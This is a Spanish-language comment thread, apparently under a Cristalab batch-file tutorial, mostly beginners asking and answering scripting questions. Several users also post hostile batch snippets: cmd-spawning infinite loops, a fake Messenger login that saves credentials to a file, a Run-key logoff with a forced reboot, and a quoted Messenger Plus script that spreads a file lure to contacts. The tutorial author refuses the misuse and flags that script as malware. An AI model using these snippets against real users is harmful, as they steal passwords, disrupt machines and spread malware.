El Primero es un intento fallido para eliminar la carpeta windows. (No te voy a esplicar como arreglarlo, pero con ese código te preguntara antes si la quieres borrar. Ademas no borrara la carpeta por que no esta vacía, tendría que dar la opción de borrar el árbol completo. Ademas que es poco probable que se borre por que no se puede borrar una carpeta que tiene programas o cosas en ejecucion. Y para rematar el proceso seria extremadamente lento.
El segundo por lo menos esta bien escrito, pero no es tan dañino. Les apagara el pc sin tiempo para el termino de ejecucion de programas, además de manera forzosa.
Puede causar perdida de datos y daños al equipo. (Una vez lo hice con un amigo en mi pc para probarlo Riendo al prenderlo me apareció una pantalla advirtiéndome que había ocurrido un error en el sistema, pero no era nada al fin y al cabo. (No lo intenten)
Suerte, y por favor los estúpidos que están poniendo códigos para molestar a la gente dejen de hacerlo. ¿Que sacan? Solo muestran lo ocioso que son y lo Lamers.
Guiño
Por: JaLeRu
Hola, estuve leyendo sobre el batch y estuve creando varios archivos pero ahora me atore con uno en el que al teclear cualquier numero y enter se cierra MS-DOS, ojala me puedan decir cual es la falla, gracias

@echo off
echo hola, te realizaremos unas simples pruebas matematicas
set num1=%random%
set num2=%random%
set num3=%random%
set num4=%random%
echo suma %num1% y %num2%
echo restale %num3%
echo multiplica por %num4%
set /a resultado= (%num1% %num2% - %num3%)* %num4%
set /p respuesta=
if %respuesta%= %resultado% (goto bien) else goto mal
:bien
echo bien
pause>nul
exit
:mal
echo mal
pause>nul
exit
Por: Berzeker_blog
Claramente el error se ve "Sobran o faltan parentecis"
Por: JaLeRu
Hola JaLeRu, necesito tu ayuda, estuve revisando todo lo publicado y me parece súper interesante lo que se puede hacer con este tipo de programación. Yo estoy cero en esto, osea soy beginner.
Lo que necesito es que el siguiente código se ejecute todos los días, cada día, sin tener que depender de nada, es decir, lo ejecuto por primera vez y a partir de eso que se mantenga ejecutándose.
Mi archivo se llama ejecutar.bat y el contenido es el siguiente:
java com.j2ee.jdbc.ConexionJDBC

Como ves en la línea anterior mando a ejecutar el .class, necesito que esto se ejecute siempre, es decir, cada día, una vez por día.
Gracias por tu ayuda. Sonrisa
Por: lOrE_88
Hola, ya pude descubrir el error de mi codigo y no es que sobren o falten parentesis, lo que pasa es que cuando aplicas el comando "set /a var=" y quieres realizar operaciones con otras variables, ya no es necesario poner "%" eso era lo que interferia con el calculo, ademas en "if %respuesta%= %resultado% (goto bien) else goto mal" tan solo faltaba un "==" despues de %respuesta%, al no reconocer el codigo con un solo "=" se botaba el MS-DOS. nos vemos pronto
Por: Berzeker_blog

lOrE_88 :

Hola JaLeRu, necesito tu ayuda, estuve revisando todo lo publicado y me parece súper interesante lo que se puede hacer con este tipo de programación. Yo estoy cero en esto, osea soy beginner.
Lo que necesito es que el siguiente código se ejecute todos los días, cada día, sin tener que depender de nada, es decir, lo ejecuto por primera vez y a partir de eso que se mantenga ejecutándose.
Mi archivo se llama ejecutar.bat y el contenido es el siguiente:
java com.j2ee.jdbc.ConexionJDBC

Como ves en la línea anterior mando a ejecutar el .class, necesito que esto se ejecute siempre, es decir, cada día, una vez por día.
Gracias por tu ayuda. Sonrisa

Pues agrega al registro ese bat para que se ejecute cada inicio de sesión.
Lo otro que puedes hacer, manual mente es crear una tarea programada.
Desde el panel de control.
Por: JaLeRu
http://www.cristalab.com/foros/images/smiles/icon_lol.gif ya tan rapido me surgieron tres duda, estuve navegando en varios foros sobre batch y encontre un codigo para contar el numero de caracteres que tenia un texto, lo que quiero es que el que use el .bat introduzca un texto y este programa diga cuantos caracteres tiene lo que se escribio.

La segunda es, cuando existe un variable a esta se le pueden sustituir partes por otras; es decir: echo "%var:e=xxx%", esto sustituye las e por xxx, pero lo que quiero es que existan varias sustituciones, por decir: "%var:e=xxx,a=yyy%" pero no encuentro la sintaxis adecuada por que esa no sirve.

La ultima duda, con la funcion %random% puedo crear numeros aleatorios de 0 a 32768 pero quiero acortar ese numero a un maximo de 3 cifras y que se realizen operaciones (set/a=...) con estas 3 cifras.

Creo que me entusiasme un poco con esto, bueno gracias por todo
Por: Berzeker_blog
perdon yo subi el codigo de borrar la carpeta win....tamb se que asi no se borra faltan cosas.. pero no lo hice con mala intencion solo quise explicar que no den codigos malos sin decir para que sirven.como el que te queria reiniciar la pc mil disculpas y si puedo dar algun aporte no duden en escribir para jaleru
Por: mauricio_blog
HEY! gracias JaLeRu, tu ayuda ha sido muy útil para mi, probé con el código para que se ejecute al inicio de sesión y ahi configuré algunas variables de entorno y ya funcionó.
Gracias =)
Por: lOrE_88
Quisiera preguntarles si se puede poner una imagen dentro de la raiz de un batch, para explicarme mejor, que cuando demos doble clic en nuestro archibo .bat aparesca la imagen. en vez de letras u otras cosas. Como lo que utilizan los juegos de PC, como un louncher.

Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.

Saludos Riendo
Por: Principiante XD_blog

Principiante XD_blog :

Quisiera preguntarles si se puede poner una imagen dentro de la raiz de un batch, para explicarme mejor, que cuando demos doble clic en nuestro archibo .bat aparesca la imagen. en vez de letras u otras cosas. Como lo que utilizan los juegos de PC, como un louncher.

Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.

Saludos Riendo

No me parece posible. Tal vez con otros códigos de programación como visual, C++ se pueda.
I have no idea.
Por: JaLeRu
Hola, "principiante Riendo" quizas esto te sirva, con este codigo abres una imagen y la cierras despues de determinado tiempo.

@echo off
cd C:\RUTA\RUTA\RUTA
start NOMBREDELAIMAGEN.EXT
ping 1.1.1.1 -n 1 -w 2000>nul
taskkill NOMBREDELPROCESO.exe
SIGUES CON TU CODIGO

Tendrias que sustituir todo lo que esta en mayusculas deacuerdo a tu imagen y el programa asociado, por ejemplo:
RUTA = C:\Users\Pepe\Pictures
NOMBREDELAIMAGEN.EXT = Playa.jpg
NOMBREDELPROCESO.exe = mspaint.exe (este lo puedes checar pulsando ctrl alt supr y entras en la pestaña procesos, entonces abres una imagen y buscas el programa que inicio cuando la abriste)
En la parte ping 1.1.1.1 -n 1 -w 2000>nul
cambias el 2000 a el tiempo que quieras que la imagen este abierta (en milisegundos)

Ojala te sirva, aparte de eso, no se por que no me llega el correo para activar mi cuenta en cristalab, ya tiene como 20 minutos que supuestamente me lo mandaron, quizas mañana me llegue. Suerte
Por: Berzeker_blog
Gracias, voy a intentar a ver si me funciona... Muy Feliz
Suerte con lo de tu correo... Sonrisa


Gracias y Salu2
Por: Principiante XD
para copiar miles de veces un archivo usamos la variable %random% es una variable de 0 a 99999 por lo tanto si ponemos

echo %random%>>te infecte.bat

copiara este archivo entre 0 y 99999
Por: silvestre001_blog
Alguien sabe como cambiar de un menú a otro automaticamente en un archivo bat... Confundido
este código es sólo una muestra, y no sirve en lo absoluto.

:inicio
@echo off
color 3f
title ejemplo
echo.
pause>nul
:fin
@echo off
color 3f
title ejemplo
echo.
pause>nul

A lo que me refiero es que de el menú :inicio vaya automaticamente al menú :fin, y yo pueda ponerle el tiempo para que salte del menú :inicio al menú :fin. Ojala alguien pueda ayudarme se lo agradeceria mucho.

Gracias y Salu2... miau
Por: Angel_of_the_Death
Confundido M... creo que los Juakers invaden.
msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
miau
Por: JaLeRu

JaLeRu :

Confundido M... creo que los Juakers invaden.
msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
miau



No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...
Soy principiante en esto pero no se burlen de ello... Aw Crap

Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...
Por:
Necesito ayuda... Aw Crap , ¿es posible reducir una imagen GIF...? diganme como Porfa


Se los Agradesco...

Salu2... miau
Por: Angel_of_the_Death
Hola Angel of Death, Jaleru no se refería a ti, lo que pasa es que un usuario puso un código de un "virus" Riendo y pues ya que esto no era un aporte positivo fue debidamente llamado hinchar las pelotas.
En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:

:start
cls
echo 1 Copiar Archivos
echo 2 Borrar Archivos
echo 3 Mover Archivos
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 (goto 3) else goto start
1:
CODIGO
2:
CODIGO
3:
CODIGO

En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la calidad en comparación con otros, pero es lo más sencillo. Riendo
Por: Berzeker
Perdon los menús no son
1:
2:
3:
Debes poner
:1
:2
:3
Por: Berzeker

Anonymous :

JaLeRu :

Confundido M... creo que los Juakers invaden.
msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.
Y porfavor:
Si no van a aportar con algo útil, NO APORTEN
miau



No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...
Soy principiante en esto pero no se burlen de ello... Aw Crap

Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...

Me refería a los que están poniendo códigos "maliciosos"
Por: JaLeRu
Hola, muy bacano su foro, una pregunta ¿Como puedo hacer un POST de HTTP de un archivo binario por medio de batch ????


gracias
Por: Nemesis_blog

Berzeker :

Hola Angel of Death, Jaleru no se refería a ti, lo que pasa es que un usuario puso un código de un "virus" Riendo y pues ya que esto no era un aporte positivo fue debidamente llamado hinchar las pelotas.
En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:

:start
cls
echo 1 Copiar Archivos
echo 2 Borrar Archivos
echo 3 Mover Archivos
set /p op=
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 (goto 3) else goto start
1:
CODIGO
2:
CODIGO
3:
CODIGO

En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la calidad en comparación con otros, pero es lo más sencillo. Riendo




Gracias por ayudarme en esto...la verdad es que todavia no se nada, y por eso les agradesco a todos su ayuda..... miau
Y tu explicacion me ayudo bastante... Sonrisa

Salu2... Muy Feliz
Por: Angel_of_the_Death
Por ahi vean mi tip y me dicen que tal esta:

Que es el siguiente:...[url]http://www.cristalab.com/foros/t50462.html




Salu2... miau
Por: Angel_of_the_Death
yo hice un codigo que es como un keylogger en batch...es solo para tontos...

@echo off
title Mesengeer Live
color 2
set /p key=ingrese su usuario:
set /p key2=ingrese su clave de seguridad:
msg * Error al intentar conectarse
echo %key%>>C:\claves.txt
echo %key2%>>C:\claves.txt

el problema es que para que recuerde algo en c:claves.txt
se necesite alguien tonto para que caiga
pero si le quitas ingrese us..... etcétera
quedaría un keylogger perfecto solo que no estaría todo el tiempo abierto...
alguien me puede ayudar?
Por: Gaston_blog
No ayudare en nada que tenga que ver con un mal uso.
Por: JaLeRu
HOLA JaLeRu, NECESITO PEDIRLE UN FAVOR MUY URGENTE, UD SABE COMO PODRIA SUBIR UN ARCHIVO A UNA PAGINA WEB CON BATCH???? LA IDEA ES HACER UN POST DE CUALQUIER ARCHIVO A UNA PAGINA ESPECIFICA SIN QUE SALGAN LAS VENTANAS DE DOS.

MUCHAS GRACIAS POR CUALQUIER AYUDA
Por: nemesis_blog
UN POST HTTP Guiño
Por: NEMESIS_blog
Es verdad PERDON y mi no es con fines maleficos lo unico es que yo queria que me entiendan porque mi hermana se mete a chatear con su (novio)y yo le tengo miedo.
Por: Gaston_blog
Alguien me podría decir cual es la diferencia entre un post http y un ftp y en que casos se ocupa cada uno.
Nemesis, si un ftp te sirve aqui esta el código:
echo username>a.txt
echo password>>a.txt
echo type binary>>a.txt
echo send a.jgp>>a.txt
echo quit>>a.txt
ftp -s:a.txt SERVIDORFTP
del a.txt
exit
A ver si esta bién por que lo pongo de memoria Riendo, tienes que sustituir username password a.jpg servidorftp deacuerdo a los archivos que mandes y el servidor ftp que ocupes. bye
Por: Berzeker
Alguien conoce algun archivo que exista dependiendo del idioma del sistema operativo? o alguna variable que me ayude a saber el idioma. Lo que pasa es que hize un código, pero para que funcione correctamente tanto en los windows inglés como en los español, el codigo debe tener las dos variantes, me imagino algo como esto:
if exist C:\windows\system32\Notepad.exe goto inglés
if exist C:\windows\system32\Block de Notas.exe (goto español) else echo Su sistema op no esta en español ni inglés
o algo como %language%
lo más sencillo que se me ocurrio es esto, pero no se si sea posible para usar con directorios en lugar de archivos, y si es posbile que le tengo que agregar
if exist %homepath%\desktop goto ingles
if exist %homepath%\escritorio goto español
Gracias
Por: Berzeker
¿Por qué en mi firma no sale la imagen que puse? utilizé esto

[ url = http://zeitgeistmovie.com/zday.htm ] [ img ] http://berzeker.00freehost.com/a.jpg [ /img ] [ /url ]
Por: Berzeker
porque es una pag. wb?!?
no se
Por: jumen.cmd_blog
tengo un pequeño problema quiero crear un archivo .bat para que se conecten unidades de red pero algunas de mis maqunas no tiene contraseña y me dice que de un enter para que continue que puedo hacer para que ese enter ya no me lo pida

me podrian mandar mi solucion a sergiosalgadod@yahoo.com porfavor gracias
Por: sergio_blog
uuujj
Por: llo_blog
aca va un codigo muy bueno

@echo off
cd c:\
echo start dos.bat>dos.bat
start dos.bat
cls
pause
Por: mis simples bat_blog
lo guardan con la extencion "dos.bat" sin las comillas y lo mandan a quien quieran no es dañino solo un susto de principiantes para que sepan lo que es bat
Por: mis simples bat_blog
Hola, tengo un problema. Necesito crear un archivo .bat que reconosca automáticamente un pendrive, sin saber el nombre de la unidad. Gracias
Por: Let_blog
aca te va un codigo

:pendrive
start cmd
goto:pendrive
pause

cerralo pen.bat y dale nomas
Por: mis simples bat_blog
Gracias!!! :X
Por: Let_blog
se ve que los novatos quedaron a la deriba en este foro la pregunta es ¿donde esta jaleru?
Por: mis simples bat_blog
Aqui estoy.
Pero me da lata seguir respondiendo. Si en fin terminan posteando estupideces como.

Código :

@echo off
:repite
start cmd.exe
goto :repite
exit

Es verdad, que solo dará un sustito, pero igual es algo que la gente no quiere que le pase.
Aunque un usuario avanzado, o normal-avanzado podría rápidamente detenerlo.
No me interesa ayudar a que creen estupideces para hinchar a usuarios de windows. Sin un razón.
Si van a crear malwares, guardenselos y úsenlos no para mentirles a otros usuarios que ni conocen que sirve para otra cosa. Vallan usen esos malwares en otra parte. Aquí la gente quiere aprender.
Y digamos que si quieren "Sorprender" con sus cositas, les digo que cualquier bosta puede hacer eso. Ya sea por lo obvio que es, o buscando en google.
Por: JaLeRu
la verdad jaleru tenes razon solo uno se rompe el alma estudiando leyendo ..con que beneficio para que un tonto venga y t pregunte como se hacen las cosas y se la lleve de arriba claro si total el que se rompio el alma estudiaNndo fue uno...igualmente segui ayudando a esta gente si es tu buena accion del dia..ojo no tengo nada contra vos es mas te admiro porque sabes un monton bueno te dejo saludos
Por: mis simples bat_blog
tengo una pregunta cuando agregro al registro un bat para que se ejecute al iniciarse la pc lo hace mientras existe el bat o solo la proxima vez que se inicie...gracias de antemano
Por: BILLY_blog
exelente tutorial, no tienes idea como me esta ayudando GRACIAS POR COMPARTIRLO.
Por: julia_blog

BILLY_blog :

tengo una pregunta cuando agregro al registro un bat para que se ejecute al iniciarse la pc lo hace mientras existe el bat o solo la proxima vez que se inicie...gracias de antemano

Siempre que exista el BAT.
Por: JaLeRu
JOd......rr JaLeRu,

Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers Riendo
Por: jpcw

jpcw :

JOd......rr JaLeRu,

Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers Riendo

Es cierto, es el post que mas gente me ha respondido. miau
Lo de los Juaker, bueno era de esperar.
Por: JaLeRu
Hola.... queria saber como se hace un comando...

si pongo
----------------------------------------
@echo off
set x=0
set y=50

set /a a=%y%-%random%

If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque

:mayorque
echo echo %random% es mayor que 0

:menorque
echo echo %random% es menos que 0

pause
exit
----------------------------------------

Pero si quiero ponerle un rango a la variable Random es decir %random:~1,2% [de esta manera escoge un numero del 1 al 99] al ponerle ese rango no funciona el programa

Sale en la pantalla esto

:mayorque
echo echo %random% es mayor que 0

:menorque
echo echo %random% es menos que 0

Como si fuera mayor y menor que 0 a la vez...

Alguna solucion?


Aqui os dejo el Bat
----------------------------------------
@echo off
set x=0
set y=50

set /a a=%y%-%random:~1,2%

If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque

:mayorque
echo echo %random% mas
:menorque
echo echo %random% menos


pause
exit
----------------------------------------
Por: Jorge_blog
en el codigo de arriba hay un error y es que he puesto dos veces

If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque

pero aun asi lo corregi


If %a% LSS %x% goto menorque
If %a% GTR %x% goto mayorque

y tampoco va.. alguna sugerencia?
Por: Jorge_blog
ya van a empezar otra vez ,te vamos a regalar el premio Pulitzer jaleru
Por: mis simlples bat_blog
alguien sabe como poder manipular cuitas NTFS en servidores win 2003 server.

Me refiero a cuatas como delimitar el espacio que tendra en la carperta.

como poder manipular sus propiedades que necesito estudiar, eventos, parametros, odj.

gracias por su ayuda
Por: hola nuevamente_blog
ahi va un code de memo


@echo off
cd c:\archivos de programa
echo logoff>cierra.bat
reg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f
pause
shutdown -r -f -t 10
exit
Por: mis simples bat_blog

mis simples bat_blog :

ahi va un code de memo


@echo off
cd c:\archivos de programa
echo logoff>cierra.bat
reg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f
pause
shutdown -r -f -t 10
exit

Eso hace que se les reinicie el pc cada vez que lo prendan. O eso quería por lo menos que hisera su creador. Por que existen errores en su codigo.
Por: JaLeRu
Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan asi...
Thumbs up
Por: M@U

M@U :

Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...
Thumbs up

Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
Por: JaLeRu

JaLeRu :

M@U :

Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...
Thumbs up

Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.
Por: Freddie

Freddie :

JaLeRu :

M@U :

Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...
Thumbs up

Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.

Riendo Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.
Los dejo.... mmmm
Por: JaLeRu

JaLeRu :

Freddie :

JaLeRu :

M@U :

Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...
Thumbs up

Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.

Riendo Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.
Los dejo.... mmmm





Tienes toda la razón...ya has ayudado bastante...y te agradesemos por ello... Thumbs up
y no tiene cazo que respondas a preguntas sin sentido...y menos que ayudes a los lammers
pues solo an puesto preguntas y códigos para joder a las demás personas que solo buscan ayuda...

Mil Gracias...y salu2...nos has ayudado mucho...miau
Por: Angel_of_the_Death
Sabe alguien como obtener el PID de un .bat?
Por: Raul_blog
tengo 4 .bat que abren aplicaciones distintas cada uno de ellos. Como puedo hacer para que un solo .bat abra esas 4 aplicaciones. o en su defecto como hago para que un solo bat que abra los 4 .bat?

gracias !
Por: txk_blog
no te rindas jaleru ejejejejejee vas por buen camino
Por: mis simples bat_blog
mejor aun tiene razon angel of the death ya has ayudaddo mucho ve a casa y descansa un rato .....jijijiji
Por: mis simples bat_blog
hola me gustaria pedir una ayudita..me gustaria saber como crear un archivo Bat.q de la opcion de cerrar una determinda pagina web,mejor dicho cerrar Aol (America Online) y crear otro para volverlo a ejecutar..eso si hayq entrar logeado..en AOL..q sea automatica la entrada..con mi pass y user pero sin tener q star metiendolos o dandole a login siempre..gracias
Por: carlos_blog
he creado un archivo bat para que un exe de flash me abra un pps, pero no quiero que me aparezca, aunque sea por medio segundo, la ventanita de c:, es una putada porque el comando es sencillo y efectivo, pero necesito que la ventana del batch no se vea. quien puede ayudarme con esto? aprovecho para felicitar a todos los que aportais soluciones Guiño
Por: mikelo082_blog

carlos_blog :

hola me gustaria pedir una ayudita..me gustaria saber como crear un archivo Bat.q de la opcion de cerrar una determinda pagina web,mejor dicho cerrar Aol (America Online) y crear otro para volverlo a ejecutar..eso si hayq entrar logeado..en AOL..q sea automatica la entrada..con mi pass y user pero sin tener q star metiendolos o dandole a login siempre..gracias



Mira si puedes crear un batch que abra y cierre cierta pagina web...pero que por ti ponga el pass y tu username...creo que no se podra...almenos hasta donde yo se...intenta con otros metodos de programación tal ves te sirva el C++, el java, o que se yo...pero en batch no creo que se pueda hacer... Confundido
Por: Angel_of_the_Death
JaLeRu por favor vuelve!
Por: mis simples bat_blog_blog
ehhh...me parece que me usurparon el nombre yo nunca pedi que vuelva jaleru sean creativos che no imiten...ahora una ayudita para mikelo082 si aun la nesecitas ,si no quieres que la ventana de d.o.s no aparesca como decis vos lo que tienes que hacer es compilarla con algun programa de conversion yo uso bat_to_exe modifica al archivo bat como si fuera un exe solo que sigue siendo un archivo por lotes y trae una opcion que se llama ghost tilda eso y la ventana no aparecera espero que te sirva la ayuda cualquier duda consulta otra ves..
Por: mis simples bat_blog
sabe alguien como hacer que reinicie un bat si se cierra?
Por: rossana_blog
ROSSANA EXPLICATE BIEN Y TE PODRE AYUDAR QUE QUIERES QUE HAGA EL BAT?
Por: MIS SIMPLES BAT_blog
quiero que si por alguna razon alguien lo cierra se vuelva a abrir solito.
Por: rossana_blog
mira mi bat es este.

@echo off
title modem
java -jar modem.jar
pause


eso se mantiene ejecutando. quiero que si alguien lo cierra el se vuelva a levantar solito
Por: rossana_blog
NO ENTIENDO BIEN QUE QUIERES HACER PERO TE DIGO ALGO,UN BAT NO SE EJECUTA SOLO XQ SI LAS POSIBILIDADES DE QUE UN BAT SE AUTOEJECUTE SOLO ES AL PRENDER LA PC O EN SU DEFECTO CON OTRO BAT MEDIANTE UNAS ORDENES DE COMANDOS POR EJEMP HACES UN BAT CON UNA ORDEN QUE A TAL HORA TAL DIA SE AUTOEJECUTE..Y TE LLAME TU BAT QUE SE TE CIERRA PERO LO QUE TU QUIERES NO SE PUEDE CREO..O ESPERA A VER SI OTRO TE DA UNA SOLUCION
Por: MIS SIMPLES BAT_blog
la solucion que te puedo dar es la siguiente carga tu bat al registro de windows para que se ejecute cuando prendas la pc y luego esconde tu bat en alguna carpeta del disco rigido como en systen32 en modo oculto y ya no tendras mas problemas
Por: mis simples bat_blog
si bueno yo lo tengo asi, en el registro de windows pero kiero que sea ehmmm como especie de un daemon. Que si se cierra se vuelva a abrir.

Lo otro que se me ocurrio es preguntar el PID del bat que se esta ejecutando y con otro bat estar pendiente de que si no esta activo, activarlo. Aunque nose si se pueda hacer.

Muchas gracias por su interes!
Por: rossana_blog
de nada rossana,,ahora tema aparte donde se fue jaleru ya es hora que vuelvas la gente nesecita ayuda y yo no puedo ayudar y fastidiar al mismo tiempo..ya bastante me porte bien ayudando ahora quiero volver a lo mio asi que vuelve jaleru de una ves...
Por: mis simples bat_blog

mis simples bat_blog :

[...]ya bastante me porte bien ayudando ahora quiero volver a lo mio asi que vuelve jaleru de una ves...
Vuelve JaLeRu !, tu publico te aclama...
Por: M@U
hola!!!
gracias por el manual es muy bueno
mira el problema k tengo yo es k tengo un program .bat y he echo k dependiendo del boton al k le des se abre unas paginas u otras pero kiero k se abra un .bat dandole a otro cosa k no logro conseguir pero kreo k lo arreglare, el caso esk yo kiero acer un programa k ya me incluya éste y si puede ser mejor en .exe para k cuando le de al 1 (por ejemplo) se abra el google y al dos pues mi otro programa pero esk no kiero ir con dos programillas como lo podria juntar y si pudiera ser en .exe mejor?
Por: pedro_blog
eiii k he resuelto mi problema, he tardado 1 min jeje simplemente he copiado la informacion del otro al el me lo estaba relacionando jaja
gracias de nuevo
Por: pedro_blog
QUE LATA ESTO YA SE A VUELTO LELO
Por: mis simples bat_blog
una pregunta ? un archivo bat puede hacer lo que hace el virus sesser, osea sintetisando lo explico busca direccciones de ip y se autocopia en otras pc y usa la vulnerabilidad del l.sass y reinicia la pc por siempre desde la shell
Por: bylly_blog
no se para que abren un foro si no ayudan a nadie
Por: bylly_blog

bylly_blog :

no se para que abren un foro si no ayudan a nadie

Confundido Si ayudan. Pero no ayudo a preguntas que no se responder, o creo que no deben ser respondidas.
Como...
¿Como reviento el pc de mi abuela? (Ejemplo de una que no respondería)
¿Como puedo hacer con bath que las carpetas de mi sistema sean rosadas? (Pregunta que no sabría responder)
Por: JaLeRu
jaleru te molesto con una pregenta me mandaron un bat en una carpeta compartida del msn de un contacto que no conosco me dirias que es gracias

md "%programfiles%\Messenger Plus! Live\Scripts\hola\"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f

eso decia que miercoles es
Por: mauricio_blog
Al tiro lo veo... no lo entiendo muy bien.
Voy a probarlo en mi maquina de pruebas haber si hace alguna cosa maliciosa.
Por cierto..
¿Ocupas Msn live PLUS?
Por: JaLeRu
No se si funcione, pero es malo.
Ya que intenta agregar un Script al Msn para que mande el tipico mensaje de:
"Mira mis fotos"
Por: JaLeRu
si uso el plus, me parecia que era un malware bueno gracias,te dejo un abrazo
Por: mauricio_blog
Deja un comentario
IMPORTANTE

Este mensaje ha sido cerrado; si deseas participar en la discusión o hablar de otro tema relacionado, hazlo en los foros de Cristalab